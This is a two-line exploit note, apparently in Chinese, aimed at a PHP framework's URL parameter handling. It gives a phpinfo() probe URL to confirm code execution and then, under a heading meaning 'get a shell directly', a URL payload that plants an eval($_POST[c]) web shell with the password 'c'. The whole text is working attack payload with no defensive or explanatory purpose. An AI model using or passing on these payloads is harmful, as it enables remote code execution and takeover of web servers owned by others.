http://site.com/index.php/module/action/param1/${@phpinfo()}

直接拿SHELL

index.php/module/action/param1/${@eval%28$_POST[c]%29} 密码：c